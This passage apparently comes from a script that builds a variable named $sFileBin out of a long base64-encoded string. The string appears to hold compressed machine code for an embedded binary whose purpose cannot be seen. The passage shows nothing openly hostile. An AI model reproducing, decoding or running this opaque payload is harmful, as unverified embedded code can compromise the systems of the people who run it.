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' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= 'iT5WRhH8F/8K/wr0Cgu0AFb/0IPEEIB+AEAAD7bAiEZ0AHQPi05wi1ZsAFFW/9KDxAjrEBwPt0YADMhAZgCJRhyLRmBQagAAUYtOXFb/0WsA2ALIdQBCdAE6AAYgALgKAAAAiUYsQIhGMF7DzAAAVjCLdCQIAbwAsEZwMItObFACdASwi1byYABbUkAAVANfAFg4jwj2BkADknViZosAVhyLTmhmiVQIJAiLAAO4//8AIABmAUYaAD8aUQDB6ghSUItGZKEAbYtWaLmDDU6CDQCLTCQYUotWZCpRAFTSCm0RAG2DxKYghW4IdWaLAhMgAHkLgneABwKAK2aJRCQ2CAYuACwIATABLsHpbgiCL4BQAE4YC06FTLimCws4AafMUwEwDIGPAleqqGYPtk4BDwS20IADwmYDyA8At8GKTgGIVngA0OmA4USA4osACsqK0MDpAtAA6oDiRArKD7YAyYhGAYv5ugcBgCDB7wSKn/CKgAMQI8oKmeDAAQAPtsgKmQCLAwAQwegIJAEK2ABfiB6JViyIVvAwXlvDxT8AIv8/AB8IM8kzwH0gZolOnQBhVstCxpfAfXRXwQ4NBIYaCoaARIhEJBgfxAeFRsAIgUZABilmi/hEJCiGeURdgBkAG4B5/gXAAwUDxBu/GgfLDHj/y7nxy3QZjnhFHgBpdAICD8Ev5yAFAOAZBMZAQeDLx0A0AYAE4z//F///F/8X6Rf/ff99/331ff8d//8d/x2AeIMcYx5fHV8dVB0Hxzv/jTQcD7YOgOGlBI7Bgo9mA+EAysAA8SWPD7fAn4+fj4eP5WfD/4//j//QuQjgD8KBzovgHVSQ5I8Bdf+Pn4LH/4//j10NTCQo5Y4gGv4ETT7/LN8e3x7/LP8s/yz/8DsQIvJ6/0f/R/9H+QrvKUcPC+kp1XDBvwCAS2YAD6/HZgPCi1bUWFKBAnQgIFSQAmACMHSKVgEAA2IZ/sGAX4hOIIhWIVcT//8S7wfvB/8S/xL/EvgS/05/T0BPQE9AT0D/Tv9O8AAE//81/zX/Nf+N/43/Rh8V/41d+Y0r/40vRitG+CRG6OEvRtiAywJcRvwn/0b3/xD/EP5GEP9G/0b0Rv+OP09AT0D/Rv9G+0bxfQ+3AEgCD7dQCmaJhEgKsAAEZolQ8QBqDPAADPAABvAAMAJQIg7wAA65BKI6UAbAiUgsiEgw/4DfHP/fHP8x/zH/Mfgx/4z/RP9EL/9P/wr/CuNEyIAnRgEWurREgERMgG6LTlC/00TAC/AmMgmBC0UXDA93//8H/wf/B/8S/xL/EvgS/0R//0T/RP9E/0T/RPpE9KPdv/Wj/z8fEB8Q/4bwhisxGf/PQM9Az0DPQM9A/87/P/8/u/8/9z8Y/z//P/M/BP+GB/8//z//P2O0ACC4CwAAAIPEACCIRjCJRixeGMO4BQB4BWDMzFYAi3QkCA+3RhoAD7fIQGaJRhoAi0ZgUGoAUYsATlxW/9GLVmCQiEQkGAQ+UkAAMAsDRgA40AAyKWaLTBAkKLgKA8RmiU4+BgCsALgBsgMAAr6AfgBAAHQPi0ZwiwhObFAAVoPECOtaHABUHABfCFccA1eDBMQQATAPtsCIRgJ0ADZOcItWbFH4Vv/SBjYEqwAvCKsANoj2BgQCNXV1GQAmNnQBIgADIIJPBXlmi8RWdAIIZolWBoqFVgOEV4ArD7dOGotWflwBL4A8gQYARoE3gFFmgEEPt9FqAFKAVWEADAaLVmgAOQQ4BgEBOFKLVmQPtsEVgId0gRxQASGLRmgBAD0aD7ZOdVBmQkKAWWQPt8IBhrhaE4KeQI2c+p9iwCocwItOaGaJVIBDwAAouP//gEwBwYFGGqBRweoIUkBCZEAbtUA/ucMGTsIGAIQYwT/uUQAqwE1IYRFDicU5AmHpAwNmi4IJIAA/wjvAA8FBVWaJRCQIBhcAFuMCqgEXwekIwhdAKAAnfhgLJ0UmRb4KVvNTQEUgBEYBwG4BiEZ4ioCRAI0DELgHQBfggMoQiBbPF8AvgBLZ/S+5IEAYAjGLQChB153AUVaLM8MbwG10VznxOEQkKMY0+4VABQRmhItIwFxIHLkEITjgSCyISDD/ff9V/1Ud9lV0/330feEZD7dIFWAaUGEaBmIaZolQ/gTkGv8Z/xn/Ge4Z/2//bwf/b/Bv4SHGQEHtx7hANAHgA/8f9WUw8WVvjGX/Zf9l6GUo/2XlZYB+df9l/2X/Zf/r/+vo6w5/jsT/M/8Z/yn/Kf8p8imAD/91/zb/Nvs2MsmISPAfiEge/0P/DP8M/wz//wz/DP8M+gz/Nv82/zb/Nuf/Nv82/25mi+9u7y/vL7/vbu1u/xT/FP8U8TsI/zu//zv/Ow8MDwwPDPM7MP87//879Dv/bk81TzX/O/87/27x9G4auQb/Kv8V/xX/Ff//Kv8q/yr3Kv9u/zf/N/U3xrmRXSM4iUg0Wzj/DP//DP8M/wz/DP8M+Az/N/83H/83/zf/N/83/25AQf3V9W5TARAM8QxXHxAfEAEYM8iKRgFmD7YC0DAA+dDoZivXACRED7fSitmAAOOLCsOK2tDrAMDoAoDjRArDQIhOePfCANAGdAQHuzEH6wwz22YAhdIPlcNLg+MAQA+2+IvHwegABIqA+IoDEIMg5wcKh+iAAIDhACgKwYDiggrCQArDDAKIBuI4X320DVv8YP84/zj/OP44OEf/OP449JMCU1YAOXgAEA+38Q+31wMA8sHpCovXweoAC4DiAYDhAgoAyovWweoJgOKCBJMACIvewesgEwDJgOIogOMBRyAK02aJeAAGcBAICpHgwA6KCIDhIMRfCtG5wQdeiP4Q0ylSDvWa/wb/Bv8G/wb//wb7Bv8w3yDfIP8w/zD/MPdhV8AwGTwQ/1b/CP8I9wh+tABW/9CDxBCAfgBAAA+2wIhGdgB0D4tOcItWbABRVv/Sg8QI6xAcD7dGAAzIQGYAiUYci0ZgUGoAAFGLTlxW/9GhANgPt1YQAmx3AEoAdo1IAWaJVnQAi1ZoZolOIA8Atk50UotWZFGGUACSAFB2i0ZoACYQdVBmQgCAZA+3AsIAMNG4EAAAAACDxCCJRiyIRgAwXsPMi0QkBEBm/0AQuQYAGImASCyISDDDzAgAAQEf/kARikgRUwCK0YDiD/baGoDSgOLwVoDCAIkA8QqWAIsDEIAA+YAPlcP+y7kCBABDItkK04oYAIDjAQrTXogQvQNRWwdSAU8AJoYlU4AVDOLwABcAKArT/slAgMoCgPl/ACeIgBCISBEPttEHKyaagTUAKAgYCClWixh0JAgBpwCkRnCLjE5sgXIGpItWYIClfFJAAKKDpwCkgb8ConjgiEYRuAcBewWGhE8AU1ZXD7d4EIsAz8HpCovXweoAC4DiAQ+394AA4QIKygP2i9YAweoJgOIECspBgQQIi97B64AnyQiA4iiAYkcK02YAiXggZolwEAoAkeCKAxCKCICA4cRfCtG5CwA0vxCI8y/0j4ATwAIADlKEkIxqAIEbgAWIRnTBA3EAkFxmQIAPQA0AFGZAi052iEZ1QAZ05YATEAKPZkGAjwGcSU2Ry4u5///ACQFIEZVhw5MQikgQ/5PHkxBv45OAGP+T2ZMQzpP5E4QAwHkPD7bI99EAg+F/g8j/K8EM6wMAA6I1eWaYZkADRhBSagDgBiACUAMH/sCKyIDhAA/22RrJgOHwlIDBwAjQwAgKigEdIjxgKsL+ygJXihYBIFoKymYPvlZ5AGYDVhCIDotOamihhFDFhBPMhAYAUx0BGgwfGh8aHxrQihYDDBrCFv7IgMkCPENhOuAb/suIDiALgEzjBOM5ZhoK2WoaiH4erhpCPv8z3xnLGSAQ0McBEIEK4RqJViB/C2gLfyIYYBdhCMAJQhiADSUzDw1iGBAlM+KVVQ+3aAYag5bglA+3zQPxAYGXC4DhAYvVwXDqCoDiIJf/luuWXzUAl14El10wb+q5iEj+A8JqLsjkc/YD/y//' $sFileBin &= 'L8xJHE5gQTBALyAIEGYDusJgmlHESmCa4nQDzSj97xkC/Bn0A/8Z/wz/DP8M2/8M+QwC/wz9DAX/CvoM//8B/wz/DP8M/wz/DP8M/Az2Bf8M/QwE/wr6DP8B/wy//wz/DP8M/wz/DPwMBP8M3foKA7CO/wr3AQL/AfoB9gX/AfoBBP8B/RL/Af8Sv/8S/xL/Ev8S/xL8Egf/Eu36CgH/Cv0UEP8B+hT/Af/7FP8B+xT/Afsp/wH/FP8U3/8U/xT/FP8U/BQG/xT9FH//Cv8K/wr/Cv8K/ApAyQMJDQtoUvEDIIhOeP2Qf2QwBP8K/wj/CP8I/wjx/wi2TgL/CP8I/wj/CO//CP8I/wj+CAX/CP8I/wjf/wj/CP8I/wj+CAT/CP8Iv/8I/wj/CP8I/wj+CAf/CH//CP8I/wj/CP8I/wj+CAYH/wj/CPMIT7UARiyIRjBew8wBBQBWi3QkCIB+AEAAdA+LRnCLAE5sUFb/0YPEAAjrHA+3RhyLAFZgD7fIUkBqEABRZokAOEZcVgD/0IPEEA+2wACIRniEwHkPDwC2yPfRg+F/g0DI/yvB6wMAMA8Atk4BZg++0IgERnkAhBBmA8KLCFZoUgF+IIhOeBBQi0ZkAEO4DwAUAAAASIkNj4tEJAAEikgRiEgBuQIEACKJSCyISDAbBx4EHxAWH0/Pi05gYQ1nXFFqAIFngC3SMYAbiEYBlmeCR4pWBBFmA4u2wmYDwQCKTgGA4ovQ6QAPt8CA4UQKygCK0NDqgOJEwIDpAgrKD7bJACcAi9HB6gQPtpIA8IoDEIPhBwoMkeAABABNCpEAiwADEMHoCCQBCmTQuAGAiBYLOYQ3EA/qN/9b51sFNtBmA8oYilYBgBECMySLCgDQD7fJisHA6iAC0OgkREADtsIgi9CITgFINuAHRAqQQzbBCpBCNumoCIDhA28KQC0QTTcXxJsBCYAc0cAASAFmoAPRU4pYAXTLgAJAD7fKilABgiCAQOOLCtOK2QEg6wBWgONECtMPthjyi9aAqogg5gcKIpaDIPEKlocgCtHRgrNeiBBDtFsFINUffwF4/x//D/87/zv/O+g7itYOhx0APQPhAMgEHcs9D389fz2LdfJ1K8gPtytGaPxn+OVn6PVngMr+AgoP73X/Df8N/A3/Of85m/857XUr8HUgOIrBcTjPIhthOCMbajgK0aI4QBvTzzjwZSvK5HXTQRCEZf9gD/1lQhDhZUMQ8WVAEExm//UPATz/D/8P/Q//O/8d/x3P/x3/Hf86gR4ryr8evx4/vx6/Hr8eLzvzFlAWESAgSAEPtlAwAIoAAI0DEIDJEIgI+w+C9wIQ/wL/Av8U/xT/FE//FP8U/xT2FCBGc